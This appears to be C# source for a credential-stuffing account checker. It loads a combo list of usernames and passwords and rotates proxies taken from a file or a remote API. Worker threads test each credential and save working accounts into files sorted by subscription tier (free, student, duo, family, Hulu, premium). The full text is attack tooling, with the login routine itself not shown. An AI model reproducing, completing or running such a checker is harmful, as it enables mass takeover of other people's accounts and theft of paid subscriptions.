public static Boolean updateList(string[] url) { updating = true; URL = url; proxies.Clear(); proxyindex = 0; foreach (String str in URL) { try { var client = new HttpRequest(); var response = client.Get(str).ToString(); foreach (String line in response.Split('\n')) { if (line.Length > 7) { proxyObject a = new proxyObject(line.Trim(), true); proxies.Add(a); } } } catch (Exception ex) { } } updating = false; if (proxies.Count < 5) { return(true); } else { return(false); } }
public static void Init() { Console.Clear(); Console.WriteLine(Program.logo); Console.WriteLine(""); config = Module1.getConfig(); while (true) { try { Console.WriteLine("Open combo file: "); Thread.Sleep(200); Stats.combo = OpenFile.openFile("combo file").ToList(); break; } catch (Exception ex) { } } Console.WriteLine(Stats.combo.Count + " combos loaded"); if (!config.PROXYLESS) { if (!config.API) { Console.WriteLine("Open Proxy File: "); foreach (string line in OpenFile.openFile("proxy file")) { if (line.Length > 7) { proxyObject a = new proxyObject(line.Trim(), true); Proxy.proxies.Add(a); } } } else { string[] url = { config.API_LINK }; Proxy.updateList(url); Thread UPDATETHREADPROXIES = new Thread(Proxy.updateThread); UPDATETHREADPROXIES.Start(config.API_REFRESH_TIME * 60000); } Console.WriteLine(Proxy.proxies.Count + " proxies loaded"); } Thread lol = new Thread(ThreadStartingThread); lol.Start(); }
public static void thread() { proxyObject proxy = null; if (!config.PROXYLESS) { while (proxy == null) { proxy = Proxy.getProxy(); } } string combo = null; while (true) { if (combo == null) { combo = getAcc.getacc(); } try { SubType type = SubType.ERROR; if (!config.PROXYLESS) { type = getSub(proxy.Proxy, combo); } else { type = getSub("null", combo); } if (type == SubType.ERROR) { Stats.ERROR++; if (!config.PROXYLESS) { proxy.Working = false; proxy = null; while (proxy == null) { proxy = Proxy.getProxy(); } } } else { if (type == SubType.FREE) { Stats.FREE++; save(Program.outFolder + "\\free.txt", combo); } else if (type == SubType.STUDENT) { Stats.STUDENT++; save(Program.outFolder + "\\student.txt", combo); save(Program.outFolder + "\\allPremium.txt", combo); } else if (type == SubType.DUO) { Stats.DUO++; save(Program.outFolder + "\\duo.txt", combo); save(Program.outFolder + "\\allPremium.txt", combo); } else if (type == SubType.FAMILYMEMBER) { Stats.FAMILY_MEMBER++; save(Program.outFolder + "\\family-member.txt", combo); save(Program.outFolder + "\\allPremium.txt", combo); } else if (type == SubType.FAMILYOWNER) { Stats.FAMILY_OWNER++; save(Program.outFolder + "\\family-owner.txt", combo); save(Program.outFolder + "\\allPremium.txt", combo); } else if (type == SubType.HULU) { Stats.HULU++; save(Program.outFolder + "\\hulu.txt", combo); save(Program.outFolder + "\\allPremium.txt", combo); } else if (type == SubType.PREMIUM) { Stats.PREMIUM++; save(Program.outFolder + "\\premium.txt", combo); save(Program.outFolder + "\\allPremium.txt", combo); } else if (type == SubType.INVALID) { Stats.INVALID++; if (config.INVALIDS) { save(Program.outFolder + "\\invalid.txt", combo); } } else if (type == SubType.OTHER) { Stats.OTHER++; save(Program.outFolder + "\\other.txt", combo); } combo = null; } } catch (NullReferenceException ex) { if (!config.PROXYLESS) { proxy.Working = false; proxy = Proxy.getProxy(); } Stats.runningThreads--; return; } } }